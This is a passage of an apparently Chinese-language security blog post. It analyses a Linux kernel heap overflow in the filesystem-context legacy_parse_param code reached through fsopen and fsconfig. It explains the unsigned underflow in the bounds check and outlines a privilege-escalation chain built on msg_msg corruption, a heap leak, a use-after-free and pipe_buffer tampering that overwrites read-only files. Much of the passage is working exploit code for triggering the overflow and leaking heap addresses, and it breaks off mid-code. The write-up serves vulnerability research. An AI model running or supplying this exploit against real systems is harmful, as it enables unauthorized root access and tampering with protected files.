operator">-</span> size<span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token function">invalf</span><span class="token punctuation">(</span>fc<span class="token punctuation">,</span> <span class="token string">"VFS: Legacy: Cumulative options too large"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">strchr</span><span class="token punctuation">(</span>param<span class="token operator">-></span>key<span class="token punctuation">,</span> <span class="token string">','</span><span class="token punctuation">)</span> <span class="token operator">||</span>    <span class="token punctuation">(</span>param<span class="token operator">-></span>type <span class="token operator">==</span> fs_value_is_string <span class="token operator">&amp;&amp;</span>     <span class="token function">memchr</span><span class="token punctuation">(</span>param<span class="token operator">-></span>string<span class="token punctuation">,</span> <span class="token string">','</span><span class="token punctuation">,</span> param<span class="token operator">-></span>size<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token function">invalf</span><span class="token punctuation">(</span>fc<span class="token punctuation">,</span> <span class="token string">"VFS: Legacy: Option '%s' contained comma"</span><span class="token punctuation">,</span>      param<span class="token operator">-></span>key<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>ctx<span class="token operator">-></span>legacy_data<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>ctx<span class="token operator">-></span>legacy_data <span class="token operator">=</span> <span class="token function">kmalloc</span><span class="token punctuation">(</span>PAGE_SIZE<span class="token punctuation">,</span> GFP_KERNEL<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>ctx<span class="token operator">-></span>legacy_data<span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token operator">-</span>ENOMEM<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>ctx<span class="token operator">-></span>legacy_data<span class="token punctuation">[</span>size<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">','</span><span class="token punctuation">;</span>len <span class="token operator">=</span> <span class="token function">strlen</span><span class="token punctuation">(</span>param<span class="token operator">-></span>key<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">memcpy</span><span class="token punctuation">(</span>ctx<span class="token operator">-></span>legacy_data <span class="token operator">+</span> size<span class="token punctuation">,</span> param<span class="token operator">-></span>key<span class="token punctuation">,</span> len<span class="token punctuation">)</span><span class="token punctuation">;</span>size <span class="token operator">+=</span> len<span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>param<span class="token operator">-></span>type <span class="token operator">==</span> fs_value_is_string<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>ctx<span class="token operator">-></span>legacy_data<span class="token punctuation">[</span>size<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">'='</span><span class="token punctuation">;</span><span class="token function">memcpy</span><span class="token punctuation">(</span>ctx<span class="token operator">-></span>legacy_data <span class="token operator">+</span> size<span class="token punctuation">,</span> param<span class="token operator">-></span>string<span class="token punctuation">,</span> param<span class="token operator">-></span>size<span class="token punctuation">)</span><span class="token punctuation">;</span>size <span class="token operator">+=</span> param<span class="token operator">-></span>size<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>ctx<span class="token operator">-></span>legacy_data<span class="token punctuation">[</span>size<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">'\0'</span><span class="token punctuation">;</span>ctx<span class="token operator">-></span>data_size <span class="token operator">=</span> size<span class="token punctuation">;</span>ctx<span class="token operator">-></span>param_type <span class="token operator">=</span> LEGACY_FS_INDIVIDUAL_PARAMS<span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到 <code>ctx-&gt;legacy_data</code> 通过 kmalloc-4k 分配的一块内存：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>ctx<span class="token operator">-></span>legacy_data<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>ctx<span class="token operator">-></span>legacy_data <span class="token operator">=</span> <span class="token function">kmalloc</span><span class="token punctuation">(</span>PAGE_SIZE<span class="token punctuation">,</span> GFP_KERNEL<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>ctx<span class="token operator">-></span>legacy_data<span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token operator">-</span>ENOMEM<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>而在写入数据是否越界的判断条件中，使用的是 <code>len &gt; PAGE_SIZE - 2 - size</code>，其中 size 变量是 <strong>unsigned int</strong> 类型，为 <code>ctx-&gt;legacy_data</code> 已经存入数据的大小，当 size 字段大于 <code>PAGE_SIZE - 2</code> 的时候，<code>PAGE_SIZE - 2 - size</code> 结果为负数，但因为运算结果是无符号类型，这就是一个很大的数，条件不成立，后续写入数据的时候就造成了 kmalloc-4k 堆块的溢出</p><p>可以知道 <code>fsconfig(fd, FSCONFIG_SET_STRING, key, value, 0)</code> 是往 <code>ctx-&gt;legacy_data</code> 这个堆块中以 <code>,key=value</code> 的方式写入键值对，不过要注意的是，在 fsconfig 的代码中可以发现 key 和 value 的字符串长度（包括<code>\0</code>）不能超过 <strong>256</strong>，所以要分多次调用来触发漏洞</p><p><strong>需要注意 fsopen 需要 CAP_SYS_ADMIN 权限，可以通过创建用户命名空间的方式来获得该权限</strong></p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>这个漏洞相当于一个 <strong>kmalloc-4k 的任意长度溢出漏洞</strong>，有了之前复现 CVE-2021-22555 的经验，利用起来很简单，甚至都不需要调试</p><p>简单总结一下步骤：</p><ol><li>触发漏洞溢出修改 msg_msg.m_ts</li><li>利用 corrupted_msg_msg 越界泄露信息，可以布局其他 msg_msg 结构体，泄露其 m_list.next/m_list.prev 的 heap 地址</li><li>有了 heap 地址，再次触发漏洞，修改 msg_msg.m_list.next 为 target，target 为堆上的某个 msg_msg 结构体地址</li><li>释放 target，喷射 skb 占位 target</li><li>通过步骤 3 中 corrupted_msg_msg，可以再次释放 target，造成 UAF</li><li>喷射 pipe_buffer 占位 target，splice 任意文件写到 pipe 里</li><li>利用 skb 修改 pipe_buffer 的 flags 字段，向 pipe 写入数据，造成越权改写只读文件</li></ol><p>最后两步其实可以 skb 读取 pipe_buffer 的 ops 泄露内核地址，然后 skb 劫持 pipe_buffer 的 ops，close(pipe) 进行 ROP，但笔者为了演示 pipe primitive 而不这么做</p><hr><h3 id="prepare-overflow"><a href="#prepare-overflow" class="headerlink" title="prepare overflow"></a>prepare overflow</h3><p>首先准备下触发漏洞越界写的条件，分多次调用 <code>FSCONFIG_SET_STRING</code>，使得 size 为 <code>PAGE_SIZE - 1</code> 绕过 check，那么再下一次 <code>FSCONFIG_SET_STRING</code> 的时候就是从 4k 堆块的最后一个字节开始溢出写了</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">int</span> <span class="token function">call_fsopen</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> fd <span class="token operator">=</span> <span class="token function">fsopen</span><span class="token punctuation">(</span><span class="token string">"ext4"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>fd <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"fsopen() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> fd<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">prepare_overflow</span><span class="token punctuation">(</span><span class="token keyword">int</span> fsid<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">char</span> buff<span class="token punctuation">[</span><span class="token number">0x100</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"prepare fsconfig heap overflow"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">,</span> <span class="token number">0x100</span> <span class="token operator">-</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">0xf</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token comment">// ",=" + buff</span>    <span class="token function">fsconfig</span><span class="token punctuation">(</span>fsid<span class="token punctuation">,</span> FSCONFIG_SET_STRING<span class="token punctuation">,</span> <span class="token string">"\x00"</span><span class="token punctuation">,</span> buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token string">'B'</span><span class="token punctuation">,</span> <span class="token number">0x100</span> <span class="token operator">-</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// ",=" + buff</span>  <span class="token function">fsconfig</span><span class="token punctuation">(</span>fsid<span class="token punctuation">,</span> FSCONFIG_SET_STRING<span class="token punctuation">,</span> <span class="token string">"\x00"</span><span class="token punctuation">,</span> buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="leak-heap"><a href="#leak-heap" class="headerlink" title="leak heap"></a>leak heap</h3><p>一图胜千言：<br><img src="/images/4161b49f/pasted-3.png" alt="leak"></p><p>首先喷射 4k 大小的 msg_msg，同时附带 64 字节大小的 msg_msgseg，图中橙色标注部分</p><p>再喷射 <code>kmalloc-64 &lt;-&gt; kmalloc-1024</code> 的消息队列，即图中蓝色标注部分</p><p>因为 64 字节的 msg_msgseg 和 64 字节的 msg_msg 很可能从同一个页中分配，那么当 4k 大小的 msg_msg 的 m_ts 被溢出改大后，通过 64 字节的 msg_msgseg 越界读出后面的 64 字节的 msg_msg 结构数据，则可以泄露出其 m_list.next 指向的 kmalloc-1024 地址，</p><blockquote><p>这里主要参照了 bsauce<sup>[5]</sup> 师傅的方法</p></blockquote><p>具体操作如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MSG_A_TEXT_SIZE</span> <span class="token punctuation">\</span>  <span class="token expression"><span class="token punctuation">(</span><span class="token number">0x1000</span> <span class="token operator">+</span> <span class="token number">0x40</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msgseg</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span></span><span class="token keyword">int</span> <span class="token function">do_leak_heap</span><span class="token punctuation">(</span><span class="token keyword">int</span> fsid<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">char</span> buff<span class="token punctuation">[</span><span class="token number">0x100</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"--- do_leak_heap ---"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">prepare_overflow</span><span class="token punctuation">(</span>fsid<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"spraying messasge queue 1..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS_1<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    msg_a<span class="token operator">-></span>mtype <span class="token operator">=</span> MTYPE_A<span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span>msg_a<span class="token operator">-></span>mtext<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">,</span> MSG_A_TEXT_SIZE<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_a<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> MSG_TAG<span class="token punctuation">;</span>    <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_a<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgsnd</span><span class="token punctuation">(</span>msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> msg_a<span class="token punctuation">,</span> MSG_A_TEXT_SIZE<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgsnd() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"spraying messasge queue 2..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS_2<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token class-name">size_t</span> n <span class="token operator">=</span> <span class="token number">1024</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span>msg_b<span class="token operator">-></span>mtext<span class="token punctuation">,</span> <span class="token string">'B'</span><span class="token punctuation">,</span> n<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_b<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> MSG_TAG<span class="token punctuation">;</span>    <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_b<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span>    msg_b<span class="token operator">-></span>mtype <span class="token operator">=</span> MTYPE_B1<span class="token punctuation">;</span>    n <span class="token operator">=</span> <span class="token number">64</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgsnd</span><span class="token punctuation">(</span>msqid_2<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> msg_b<span class="token punctuation">,</span> n<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgsnd() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    msg_b<span class="token operator">-></span>mtype <span class="token operator">=</span> MTYPE_B2<span class="token punctuation">;</span>    n <span class="token operator">=</span> <span class="token number">1024</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgsnd</span><span class="token punctuation">(</span>msqid_2<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> msg_b<span class="token punctuation">,</span> n<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgsnd() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"trigger oob write in `legacy_parse_param` to msg_msg.m_ts"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">strcat</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token string">"0000000"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// m_list.next</span>  <span class="token function">strcat</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token string">"11111111"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// m_list.prev</span>  <span class="token function">strcat</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token string">"22222222"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// m_type</span>  <span class="token class-name">uint64_t</span> target_size <span class="token operator">=</span> MSG_A_TEXT_SIZE <span class="token operator">+</span> <span class="token number">64</span> <span class="token operator">*</span> <span class="token number">30</span><span class="token punctuation">;</span>  <span class="token function">memcpy</span><span class="token punctuation">(</span>buff <span class="token operator">+</span> <span class="token function">strlen</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>target_size<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// m_ts</span>  <span class="token function">fsconfig</span><span class="token punctuation">(</span>fsid<span class="token punctuation">,</span> FSCONFIG_SET_STRING<span class="token punctuation">,</span> <span class="token string">"\x00"</span><span class="token punctuation">,</span> buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"searching corrupted msg_msg..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS_1<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token class-name">size_t</span> n <span class="token operator">=</span> <span class="token function">msgrcv</span><span class="token punctuation">(</span>msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> msg_a_oob<span class="token punctuation">,</span> MSG_A_TEXT_SIZE <span class="token operator">+</span> <span class="token number">64</span> <span class="token operator">*</span> <span class="token number">30</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span>                      MSG_COPY <span class="token operator">|</span> IPC_NOWAIT<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token keyword">continue</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">==</span> MSG_A_TEXT_SIZE <span class="token operator">+</span> <span class="token number">64</span> <span class="token operator">*</span> <span class="token number">30</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      corrupted_msqid <span class="token operator">=</span> msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">msgget</span><span class="token punctuation">(</span>IPC_PRIVATE<span class="token punctuation">,</span> IPC_CREAT <span class="token operator">|</span> <span class="token number">0666</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span>          <span class="token number">0</span><span class="token punctuation">)</span> <span class="token comment">// call clean_msg_1 without crash</span>        <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgget() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span>p <span class="token operator">=</span>          <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span>msg_a_oob<span class="token operator">-></span>mtext <span class="token operator">+</span> MSG_A_TEXT_SIZE<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> <span class="token number">30</span><span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span>      <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>p<span class="token operator">-></span>m_type <span class="token operator">==</span> MTYPE_B1 <span class="token operator">&amp;&amp;</span> p<span class="token operator">-></span>m_ts <span class="token operator">==</span> <span class="token number">64</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span>            <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>p<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">==</span> MSG_TAG<span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>          uaf_msqid <span class="token operator">=</span> msqid_2<span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>p<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">;</span>          <span class="token function">loginfo</span><span class="token punctuation">(</span><span class="token string">"corrupted_msqid = %d"</span><span class="token punctuation">,</span> corrupted_msqid<span class="token punctuation">)</span><span class="token punctuation">;</span>          <span class="token function">loginfo</span><span class="token punctuation">(</span><span class="token string">"uaf_msqid = %d"</span><span class="token punctuation">,</span> uaf_msqid<span class="token punctuation">)</span><span class="token punctuation">;</span>          kmalloc_1024 <span class="token operator">=</span> p<span class="token operator">-></span>m_list<span class="token punctuation">.</span>next<span class="token punctuation">;</span>          <span class="token comment">// call clean_msg_2 without crash</span>          <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>msqid_2<span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>p<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">]</span> <span class="token operator">=</span>                   <span class="token function">msgget</span><span class="token punctuation">(</span>IPC_PRIVATE<span class="token punctuation">,</span> IPC_CREAT <span class="token operator">|</span> <span class="token number">0666</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>            <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgget() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>          <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        p<span class="token operator">++</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token function">clean_msg_1</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">clean_msg_2</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>uaf_msqid <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token function">loginfo</span><span class="token punctuation">(</span><span class="token string">"kmalloc_1024 = %#lx"</span><span class="token punctuation">,</span> kmalloc_1024<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">char</span> <span class="token keyword">const</span> <span class="token operator">*</span>argv<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> fsid<span class="token punctuation">;</span>  <span class="token keyword">int</span> pid<span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>    <span class="token function">init_unshare</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">bind_cpu</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">init_sock</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">init_msg</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    fsid <span class="token operator">=</span> <span class="token function">call_fsopen</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">do_leak_heap</span><span class="token punctuation">(</span>fsid<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      <span class="token function">close</span><span class="token punctuation">(</span>fsid<span class="token punctuation">)</span><span class="token punctuation">;</span>      fsid <span class="token operator">=</span> <span class="token function">call_fsopen</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"retry do_leak_heap()"</span><span class="token punctuation">)</span><span class="token 